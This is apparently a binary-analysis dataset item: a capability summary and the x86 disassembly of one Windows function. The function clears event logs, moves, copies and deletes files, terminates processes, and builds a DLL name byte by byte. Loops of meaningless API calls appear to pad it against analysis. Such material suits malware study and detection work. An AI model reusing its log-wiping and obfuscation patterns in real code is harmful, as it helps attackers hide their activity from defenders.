Function at 0x80ef50
Capabilities:
Access the windows event log
Clear windows event logs
Copy file
Delete file
Get common file path
Get file attributes
Manipulate console buffer
Move file
Query environment variable
Read .ini file
Receive http response
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x8101dc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x2af0
call fcn.00413300
push ebx
mov ebx, dword [esp + 0x24]
push ebp
mov ebp, dword [esp + 0xec]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp esi, 0x2cdb4
jge 0x80efa1
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp dword [0xb9a114], 0x6fb
jne 0x80efb9
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
cmp esi, 0x1e9afa00
jle 0x80efd1
cmp ebx, 0xc10c66
je 0x80efd1
cmp ebp, 0x952d5ac
jne 0x80efda
inc esi
cmp esi, 0x80c48
jl 0x80ef8f
cmp dword [0xb9a114], 0xcf8
jne 0x80f17b
push 0
call fcn.00407979
add esp, 4
xor ebp, ebp
push ebp
push ebp
call fcn.0040783d
add esp, 8
lea eax, [esp + 0x48]
push eax
call fcn.00405810
fldz
sub esp, 0x10
fst qword [esp + 8]
fstp qword [esp]
call fcn.00407a40
fstp st(0)
push ebp
push ebp
call fcn.00407939
push ebp
push ebp
call fcn.00407939
push ebp
call fcn.00407a78
add esp, 0x24
push ebp
call fcn.00407b5e
add esp, 4
push ebp
push ebp
push ebp
push ebp
push ebp
call fcn.00407538
mov edx, dword [esp + 0x5c]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xb4]
add esp, 0x14
mov dword [esp + 0x2c], ecx
mov dword [esp + eax + 0x48], 0x4043fc
mov dword [esp + 0x2b3c], ebp
test byte [esp + 0x98], 1
lea ecx, [esp + 0x58]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x58], 0x4043bc
je 0x80f094
mov edx, dword [esp + 0x68]
mov eax, dword [edx]
push eax
call fcn.00407a6d
add esp, 4
mov eax, dword [esp + 0x68]
mov dword [eax], ebp
mov ecx, dword [esp + 0x78]
mov dword [ecx], ebp
mov edx, dword [esp + 0x88]
mov dword [edx], ebp
mov eax, dword [esp + 0x6c]
mov dword [eax], ebp
mov ecx, dword [esp + 0x7c]
mov dword [ecx], ebp
mov edx, dword [esp + 0x8c]
mov dword [edx], ebp
and dword [esp + 0x98], 0xfffffffe
mov dword [esp + 0x94], ebp
mov dword [esp + 0x58], 0x404374
mov byte [esp + 0x2b3c], 1
mov eax, dword [esp + 0x90]
mov ebx, eax
cmp eax, ebp
je 0x80f135
mov edi, dword [eax]
cmp edi, ebp
je 0x80f12c
push ebp
lea ecx, [esp + 0x34]
call fcn.00406cd2
mov eax, dword [edi + 4]
cmp eax, ebp
jbe 0x80f10a
cmp eax, 0xffffffff
jae 0x80f10a
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x30]
and esi, edi
call fcn.00406cfa
cmp esi, ebp
je 0x80f12c
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebx
call fcn.00407a6d
add esp, 4
lea ecx, [esp + 0x5c]
mov byte [esp + 0x2b3c], 0
call fcn.00406d2b
mov dword [esp + 0x2b3c], 0xffffffff
mov eax, dword [esp + 0x48]
mov ecx, dword [eax + 4]
lea edx, [esp + 0xa0]
mov dword [esp + ecx + 0x48], 0x4043b4
push edx
mov dword [esp + 0xa4], 0x404364
call fcn.004068de
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
xor esi, esi
cmp esi, 0x408
jne 0x80f19c
mov eax, 0x5d1
add dword [0xb9a114], eax
cmp dword [0xb9a114], 3
jne 0x80f1c8
xor eax, eax
lea edx, [esp + 0x34]
push edx
push eax
push eax
push 0x404170
push eax
mov dword [esp + 0x40], eax
call edi
push 0
push 0
lea ecx, [esp + 0x308]
push ecx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x80f189
mov edx, dword [0xb9a114]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x81b164], eax
mov eax, dword [0xb9a114]
xor esi, esi
test eax, eax
je 0x80f23c
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea esp, [esp]
cmp eax, 0xfe
jne 0x80f213
push 0
lea eax, [esp + 0x304]
push eax
call ebx
call fcn.0080eac0
mov eax, dword [0xb9a114]
cmp eax, 0x29
jne 0x80f237
push 0
push 0
lea ecx, [esp + 0x308]
push ecx
push 0
call edi
mov eax, dword [0xb9a114]
inc esi
cmp esi, eax
jb 0x80f200
cmp eax, 0x70
jne 0x80f333
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
push 0x404178
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea edx, [esp + 0x2300]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
lea eax, [esp + 0x1b04]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
lea ecx, [esp + 0x304]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push 0
push 0
lea edx, [esp + 0x1308]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
lea eax, [esp + 0xb04]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
mov eax, dword [0xb9a114]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov dword [esp + 0x30], 0x9682ab
cmp eax, 3
jne 0x80f381
push 0x40418c
push 0
lea ecx, [esp + 0x308]
push ecx
push 0x404198
push 0x4041a8
push 0x4041d4
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [0xb9a114]
cmp eax, 0xdf
jne 0x80f48f
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
call ebp
xor edx, edx
lea ecx, [esp + 0x34]
push ecx
push edx
push edx
lea eax, [esp + 0xb0c]
push eax
push edx
mov dword [esp + 0x40], edx
call ebx
lea ecx, [esp + 0x3c]
push ecx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x38]
push edx
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0x4041f0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
push 0
push 0x404254
push 0x404270
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0
lea ecx, [esp + 0x1304]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
lea edx, [esp + 0x1b00]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [0xb9a114]
dec dword [esp + 0x30]
jne 0x80f353
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x80f4a4
mov byte [0x8163d0], 0
call fcn.0080e9d0
call fcn.0080ed60
mov edi, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea ebx, [ebx]
cmp dword [0xb9a114], 0xba
jne 0x80f4e2
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x80f4f5
mov eax, 0
add dword [0x81b164], eax
inc esi
cmp esi, 0x1605a
jl 0x80f4d0
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov ebx, 0x1e6dcb
nop
cmp dword [0xb9a114], 0x85
jne 0x80f52a
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x80f510
push 0x8163d0
mov dword [0x8163d2], 0x33676d69
mov word [0x8163d0], 0x736d
mov dword [0x8163d8], 0x6c6c64
mov word [0x8163d6], 0x2e32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0xb9a114], 0xc30
jne 0x80f61c
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [esp + 0x1c0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push ebx
lea ecx, [esp + 0x3c]
push ecx
push ebx
lea edx, [esp + 0x30c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x4042c8
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
lea eax, [esp + 0xb04]
push eax
push 0x4042e0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [esp + 0x40]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
push ebx
lea edx, [esp + 0x1304]
push edx
push 0x404330
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea eax, [esp + 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov ecx, dword [esp + 0x38]
push ebx
push ebx
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
mov ecx, dword [esp + 0x2b34]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret